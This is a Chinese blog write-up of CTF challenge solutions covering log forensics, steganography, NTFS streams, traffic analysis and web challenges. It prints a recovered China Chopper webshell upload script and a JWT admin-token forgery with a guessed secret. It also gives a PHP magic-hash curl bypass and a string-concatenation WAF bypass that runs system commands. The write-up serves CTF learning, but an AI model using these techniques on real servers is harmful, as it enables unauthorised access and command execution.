第三届“泉信杯”网络空间安全技能大赛writeup
解法不唯一
本次 ctf 题目主要偏向渗透和 MISC 方向,先来张全家福。
- fnewll 负责 MISC
- 良月二十's Blog 负责 层层穿透2.0
- hackerhack 负责 web 中的 Easy_JWT
- Qianyuzz 负责 web 中的 Pop
MISC题目链接
链接:https://pan.baidu.com/s/1750K48wT_62BR-_DeyOXbg?pwd=hzhd
密码:No~Crack!!!qziectf{^666^}
MISC
(5分)签到.txt
签到题不多说,加密算法给出,密钥为 qziectf,直接在线解即可
在线加密解密
:::info
qziectf{9330c030-a785-480f-9bb4-9fabe2326413}
:::
(10分)access.rar
这题是分析apache中间件日志
安服-中间件&数据库日志分析_网络及安全设备、服务器、数据库、中间件、应用系统的日志_深白色耳机的博客-CSDN博客
分析入侵log:
- 使用HEAD请求协议进行目录扫描
出现phpmyadmin目录,判断后端语言为PHP
- 接下来就是使用字典跑 www.qziectf.com/ll/ 有哪些文件
找到网站登入页面http://www.qziectf.com/ll/login.php
- 然后对登入表单进行爆破(使用base64进行一次编码)
全局搜索log,仅一个302状态码
HTTP 中常用的状态码(14种) - 掘金
URL在传参时会把登入表单中的特殊字符进行URL编码
看到数据后面带==,本能反应先base64解密
:::info
qziectf{qzxxrjgc}
:::
(10分)stego_text.zip
本题在第二届泉信杯题目中有类似,如果看过题目会有印象的
第二届“泉信杯”网络空间安全技能大赛writeup
如果实在看不懂,搜索一下关键字 + ctf 组合 也可以发现一些知识点
使用vscode打开文本
从中找到这些零宽度字符
- U+200C ZERO WIDTH NON-JOINER
- U+200E LEFT-TO-RIGHT MARK
- U+200F LEFT-TO-RIGHT MARK
- U+202C POP DIRECTIONAL FORMATTING
- U+FEFF ZERO WIDTH NO-BREAK SPACE
浅析什么是零宽度字符以及零宽度字符在实际中的应用场景
可能有人会说没找到U+FEFF,它是一种字节序。例如当我们用win自带的notepad保存文件时,会提示保存的编码,在里面输入内容并保存为UTF-16 BE,这里的BE和LE为字节序的术语,大端小端。
字符编码(ASCII,Unicode和UTF-8) 和 大小端 - 如果天空不死 - 博客园
可以发现编码都对应上了,之所以写在开头(FEFF)。也是告诉notepad加载器来进行接下来的大端字节序
隐写术的零宽度字符在线解密
Unicode Steganography with Zero-Width Characters
:::info
qziectf{55a3bf13-a0ff-4fa2-8df0-d75463931e4f}
:::
(15分)ez_pic.jpg
题目复刻GoogleCTF 2023 PAPAPAPA
ctf-writeups/googlectf23/misc/papapapa at main · D13David/ctf-writeups
这里已经介绍的很详细了,我这也照猫画虎的做一遍
复刻的过程中老是出一些小问题,于是就用两张一样,不同文件名来生成
我把这段制作flag.jpg的代码,用zip进行压缩,藏在jpg文件尾(FFD9)后面
得到get_flag.py文件
#!/usr/bin/env python3 with open('white.jpg', 'rb') as f: data = f.read() pos = 0xA6 data = data[:pos] + b'\x10' + data[pos+1:] with open('flag.jpg', 'wb') as f: f.write(data)
题目思路图,便于理解用winhex来进行演示
红色部分就是写入的数据(0x10),然后把数据进行拼接
那么来分析一下这个被覆盖的内容(pos = 0xA6),代表着什么参数
那个位置是jpg图片的分辨率的宽度,其实也很好猜出来的(500*500)
或者不想猜,网上找现成的jpg宽高爆破脚本来修改
Google CTF 2023 Writeup
import struct filename = input("file:") with open(filename, 'rb') as f: all_b = f.read() #w = all_b[165:167] #h = all_b[163:165] for i in range(490,520): name = str(i) + ".jpg" f1 = open(r"./output/" + name,"wb") im = all_b[:165]+struct.pack('>h',i)+all_b[167:] f1.write(im) f1.close()
就可以爆破出带有flag可显示的图片了
:::info
qziectf{2bf8ac48-0632-483a-a4d5-82d64e154c78}
:::
(15分)隐流.rar
这题用tools可以直接秒杀,但是用原理手工来做会稍微有一点点复杂。如果没有现成的tools,分数翻一倍都可以
大致总结一下,ntfs保存文件时会有一个元数据(MFT),当文件查看文件属性时会发现
与linux下的inode大致是同一个概念,会告诉你文件的创造、修改、访问、元文件的变化,还有占用大小和实际大小,文件名信息等等。
ntfs中的这些元数据是由各各属性类型组成的
在0x80属性下在嵌套一个0x80属性,那么就实现了数据的隐藏
手工提取步骤
- 加载VHD磁盘
解压压缩包,发现是vhd格式。
计算机管理 -> 磁盘管理 -> 加载磁盘
- 进入到磁盘分区内,查看文件元文件
使用winhex进入到磁盘1
利用winhex特性自动定位到文件元文件扇区(查看文件系统信息快捷键 Ctrl + F7)
- 分析NTFS MFT中的 0x80属性
发现NTFS 0x80属性嵌套着一个0x80属性,这里就不展开来讲了
利用winhex高亮特性提取rar文件的密钥:0317bf0b-c8f2 后面的数据是一个空格(0x20)和回车(0x0D 0x0A)
- 取rar压缩文件数据
密钥已经取出,还有一个rar文件
MFT会在偏移量为0xFE-0xFF(最后两个字节)更新序列号,那么如有数据会放入跟新数组里
NTFS学习笔记(2):文件记录头_ntfs mft-CSDN博客
过程类似于这样
如果文件数据覆盖到更新序列号将移到更新数组,特别是压缩包基本都有校验,校验值不对文件无法打开,所以手工提文件的话,这个点要注意
如果采用这种方式的话(得另存为修改文件扩展名,重定向不知道为什么无法写入),会造成rar文件的损坏
原因是把更新序列号一起读入文件中来
现成工具:
NtfsStreamsEditor2 ( Ntfs数据流处理工具) 扫描即可(一把梭),用工具是没有灵魂的,但是香呀!
:::info
qziectf{MBR-NTFS-MRT-80H}
:::
(20分)Covertchannel.zip
这题目来自 第三届工业互联网创新大赛(线上选拔赛)
用wireshark进行分析,通过tcp流导出数据
把所有 0.../python/mqtt 替换为空
把其中的文件分离开来
流量提取3个文件,根据提示为一个zip压缩包,一段密文和密钥
data.zip base64解码两次
rsa.key base64解码一次
secrets.txt base64解码两次
Base64 在线编码解码 | Base64 加密解密 - Base64.us
若解密完有不可显字符,那么使用命令重定向到文件中
然后在kali中用openssl进行解密
└─# openssl rsautl -decrypt -in secrets.txt -inkey rsa.key
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
得到压缩句密码
b4ddfa11-4c91-48da-8e57-37d86a3f40ee
1.txt里面有flag
ssp : credman : [00000000] * Username : flag * Domain : secretserver * Password : a3e0f096-17ed-4c0b-8895-4dd0cbabafaf
:::info
qziectf{a3e0f096-17ed-4c0b-8895-4dd0cbabafaf}
:::
(20分)菜刀.pcapng
此题解析来自© 2023易霖博红客学院,侵删!解析思路比较完整
打开数据包,发现抓包文件很小,随便找个TCP数据包,右击选择“跟踪TCP码流”,根据会话内容很像是菜刀的数据包。选择“Statistcs”—>“Conversations”,选择TCP档,发现存在8个TCP会话。
一个个分析,发现其中前5个会话是通过菜刀查看目录的一个操作,返回部分返回了一个目录中的内容(可通过对选中部分先进行URL解码,再进行Base64解码,即可看到菜刀执行的代码,进而分析其逻辑)。而第6个会话是一个下载文件的会话,第7个会话是一个上传文件的会话。
分析第6个会话,可以看到会话的逻辑是下载一个hello.rar的文件,随后web进行了响应,将hello.rar的内容返回给了客户端。这里因为服务器在响应时使用了Transfer-Encoding选项,所以这里不能直接使用“Save as”保存数据包中的内容再用winhex提取出来(可以是可以,但是这种方式保存下来的数据需要自己写个脚本进行处理然后才能用winhex提取文件,太麻烦)。
那如何导出文件?选择“File”->“Export Objects”->“Http”,找到我们刚才下载文件会话的HTTP返回的那个Object,通过save as将其保存为文件。(通过这种方式提取出来的http数据,wiresahrk会自动帮我们解决采用Transfer-encoding传输的问题,而不需要我们自己去解决)
通过winhex打开刚刚保存的文件,将“->|”和“|<-”之间的数据保存为一个Rar文件。解压后发现是一张图片,里面有半个key。(“->|”和“|<-”为在传输数据时,菜刀加入的内容)
因为只有半个key,所以还需要分析上传逻辑。首先将菜刀的代码部分进行urldecode、base64解码还原出来,如图所示。很明显是一个上传文件的逻辑,这个无法用winhex提取文件,只能将菜刀的上传代码稍作修改,并在php环境下运行,即可以得到上传文件。
<?php @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $f="hhh.png"; $c="一大堆16进制数据"; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");; echo("|<-"); die(); ?>
将数据填入后运行脚本,成功生成一个success.png文件,发现图片中存在另一半的key。
:::info
qziectf{c7265f898a52fcc4}
:::
WEB
(15分)Easy_JWT
考点:jwt密钥猜解
泉信杯相关的题目,结合hint可得知jwt密钥可猜解
信息收集,猜解密钥为qzie或qziedu
先访问http://127.0.0.1:8888/get_jwt/test随便获得一个jwt
然后访问jwt.io修改jwt用户为admin,并填上猜解的密钥
再带上jwt访问flag接口
http://127.0.0.1:8888/get_flag/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4ifQ.n3FfVifeM4TWMuXbohpO_FmAM0c_KkHPwB36SI3fq-g
from flask import Flask app=Flask(__name__) import jwt import time salt = "qziedu" def generate_jwt(username): headers = { "alg": "HS256", "typ": "JWT" } payload = { "name": username, } token = jwt.encode(payload=payload, key=salt, algorithm='HS256', headers=headers) return token @app.route('/') def index(): a = ''' 访问url /get_jwt/你的用户名 去获得你的jwt</br> 访问url /get_flag/你的jwt 去获得flag</br> 实在做不出来看看hint吧 /hint ''' return a @app.route('/hint') def hint(): return "可以猜解出来的jwt密钥哦!" @app.route('/get_jwt/<username>',methods=['GET']) def get_jwt(username): if username == "admin": return "你个小机灵鬼,别想直接获得管理员的权限!</br>试试别的方法!" user_jwt = username strings = 'Here is your jwt: ' + generate_jwt(user_jwt) return strings @app.route('/get_flag/<jwt_token>',methods=['GET']) def get_flag(jwt_token): info = jwt.decode(jwt_token, salt, algorithms='HS256') username = info["name"] if username == "admin": return "恭喜你,flag是 qziectf{F3nny_5nd_E4sy_1wt}" else: return "只有admin的权限才能获取flag" return info if __name__=="__main__": app.run(port=8888,host="127.0.0.1",debug=False)
:::info
qziectf{F3nny_5nd_E4sy_1wt}
:::
(15分)easy_php
考点:PHP弱类型和指定名为client-ip的HTTP头
<?php highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv'][0]; $b=$_SERVER['argv'][1]; $c=$_SERVER['HTTP_CLIENT_IP']; if($a==md5($b) && $a!=$b && $a==md5($a) ){ if(isset($c)){ echo $flag; }else{ echo '提供一个client-ip'; } } ?>
curl -H "client-ip: 1.1.1.1" "http://127.0.0.1:8000/index.php?0e215962017+QNKCDZO"
:::info
qziectf{9d78ff75-0708-4707-b84a-ada58b92dc23}
:::
(20分)Pop
Pop链构造
A.wakeup --> A.toString -> V.get --> qzi.invoke --> get flag
具体过程参考 qianyuzz 师傅的原文思路详解
POP链 - qianyuzz - 博客园
:::info
qziectf{c289de6f01cde5be7d8cad7ca31f36d6}
:::
层层渗透2.0
层层渗透-1
函数拼接绕过 waf,根目录下 cat flag
<?php $func`=`'syste'.'m("ls")'; $a`=`"a"; $s`=`"s"; $c=$a.$s.'sert'; $c($func); ?>
层层渗透-2
略~
层层渗透-3
略~
本文来自博客园,作者:fnewll,转载请注明原文链接:https://www.cnblogs.com/fnewll/p/17871121.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构